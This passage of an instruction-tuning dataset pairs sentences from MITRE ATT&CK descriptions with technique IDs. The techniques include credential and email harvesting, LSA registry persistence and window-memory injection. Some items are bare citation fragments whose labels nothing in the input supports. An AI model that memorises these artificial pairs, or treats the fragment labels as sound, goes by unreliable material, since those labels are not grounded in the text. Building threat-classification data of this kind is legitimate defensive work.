US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017) ### Response: T1602."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may access network configuration files to collect sensitive data about the device and the network.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may access network configuration files to collect sensitive data about the device and the network. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The network configuration is a file containing parameters that determine the operation of the device.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The network configuration is a file containing parameters that determine the operation of the device. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The device typically stores an in-memory copy of the configuration while operating, and a separate configuration on non-volatile storage to load after device reset. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can inspect the configuration files to reveal information about the target network and its layout, the network device and its software, or identifying legitimate accounts and credentials for later use. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks)", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use common management tools and protocols, such as Simple Network Management Protocol (SNMP) and Smart Install (SMI), to access network configuration files.(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)(Citation: Cisco Blog Legacy Device Attacks) ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis.", "output": "T1602.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These tools may be used to query specific data from a configuration repository or configure the device to export the configuration for later analysis. ### Response: T1602.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather employee names that can be used during targeting.", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather employee names that can be used during targeting. ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures. ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1589.003", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1589.003."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather email addresses that can be used during targeting.", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather email addresses that can be used during targeting. ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees. ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation:", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "HackersArise Email)(Citation: CNET Leaks)", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: HackersArise Email)(Citation: CNET Leaks) ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum)", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Email addresses could also be enumerated via more active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)), such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance)", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: For example, adversaries may be able to enumerate email addresses in Office 365 environments by querying a variety of publicly available API endpoints, such as autodiscover and GetCredentialType.(Citation: GitHub Office 365 User Enumeration)(Citation: Azure Active Directory Reconnaisance) ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)).", "output": "T1589.002", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Brute Force](https://attack.mitre.org/techniques/T1110) via [External Remote Services](https://attack.mitre.org/techniques/T1133)). ### Response: T1589.002."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credentials that can be used during targeting.", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credentials that can be used during targeting. ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts.", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Account credentials gathered by adversaries may be those directly associated with the target victim organization or attempt to take advantage of the tendency for users to use the same passwords across personal and business accounts. ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather credentials from potential victims in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation:", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also compromise sites then add malicious content designed to collect website authentication cookies from visitors.(Citation: ATT ScanBox) Credential information may also be exposed to adversaries via leaks to online or other accessible data sets (ex: [Search Engines](https://attack.mitre.org/techniques/T1593/002), breach dumps, code repositories, etc.).(Citation: Register Deloitte)(Citation: ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Register Uber)(Citation: Detectify Slack Tokens)(Citation:", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Register Uber)(Citation: Detectify Slack Tokens)(Citation: ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Forbes GitHub Creds)(Citation:", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Forbes GitHub Creds)(Citation: ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also purchase credentials from dark web or other black-markets.", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also purchase credentials from dark web or other black-markets. ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022)", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Finally, where multi-factor authentication (MFA) based on out-of-band communications is in use, adversaries may compromise a service provider to gain access to MFA codes and one-time passwords (OTP).(Citation: Okta Scatter Swine 2022) ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1589.001", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1589.001."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather information about the victim's identity that can be used during targeting.", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather information about the victim's identity that can be used during targeting. ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials.", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about identities may include a variety of details, including personal data (ex: employee names, email addresses, etc.) as well as sensitive details such as credentials. ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598).", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation:", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Information about users could also be enumerated via other active means (i.e. [Active Scanning](https://attack.mitre.org/techniques/T1595)) such as probing and analyzing responses from authentication services that may reveal valid usernames in a system.(Citation: GrimBlog UsernameEnum) Information about victims may also be exposed to adversaries via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak)(Citation: Register Deloitte)(Citation: Register Uber)(Citation: Detectify Slack Tokens)(Citation: ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Forbes GitHub Creds)(Citation:", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Forbes GitHub Creds)(Citation: ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks)", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: GitHub truffleHog)(Citation: GitHub Gitrob)(Citation: CNET Leaks) ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "[Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "output": "T1589", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)). ### Response: T1589."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start.", "output": "T1131", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Windows Authentication Package DLLs are loaded by the Local Security Authority (LSA) process at system start. ### Response: T1131."}{"instruction": "List the MITRE techniques contained in the text.", "input": "They provide support for multiple logon processes and multiple security protocols to the operating system.", "output": "T1131", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: They provide support for multiple logon processes and multiple security protocols to the operating system. ### Response: T1131."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MSDN Authentication Packages)", "output": "T1131", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MSDN Authentication Packages) ### Response: T1131."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>.", "output": "T1131", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries can use the autostart mechanism provided by LSA Authentication Packages for persistence by placing a reference to a binary in the Windows Registry location <code>HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\</code> with the key value of <code>\"Authentication Packages\"=<target binary></code>. ### Response: T1131."}{"instruction": "List the MITRE techniques contained in the text.", "input": "The binary will then be executed by the system when the authentication packages are loaded.", "output": "T1131", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: The binary will then be executed by the system when the authentication packages are loaded. ### Response: T1131."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data). ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class.", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of extra window memory (EWM) to be appended to the allocated memory of each instance of that class. ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value.", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function)", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function) ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure.", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Although small, the EWM is large enough to store a 32-bit pointer and is often used to point to a windows procedure. ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM.", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Malware may possibly utilize this memory location in part of an attack chain that includes writing code to shared sections of the process\u2019s memory, placing a pointer to the code in EWM, then invoking execution by returning execution control to the address in the process\u2019s EWM. ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Execution granted through EWM injection may take place in the address space of a separate live process.", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Execution granted through EWM injection may take place in the address space of a separate live process. ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges.", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), this may allow access to both the target process's memory and possibly elevated privileges. ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread. ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: Elastic Process Injection July 2017)", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: Elastic Process Injection July 2017) ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process.", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "(Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013)", "output": "T1181", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013) ### Response: T1181."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This may also span both native defenses as well as supplemental capabilities installed by users and administrators.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: This may also span both native defenses as well as supplemental capabilities installed by users and administrators. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown) ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.", "output": "T1562", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. ### Response: T1562."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage.", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Adversaries may disable or modify system firewalls in order to bypass controls limiting network usage. ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules.", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### Input: Changes could be disabling the entire mechanism as well as adding, deleting, or modifying particular rules. ### Response: T1562.004."}{"instruction": "List the MITRE techniques contained in the text.", "input": "This can be done numerous ways depending on the operating system, including via command-line, editing Windows Registry keys, and Windows Control Panel.", "output": "T1562.004", "text": "Below is an instruction that describes a task, paired with an input that provides further context. Write a response that appropriately completes the request. ### Instruction: List the MITRE techniques contained in the text. ### 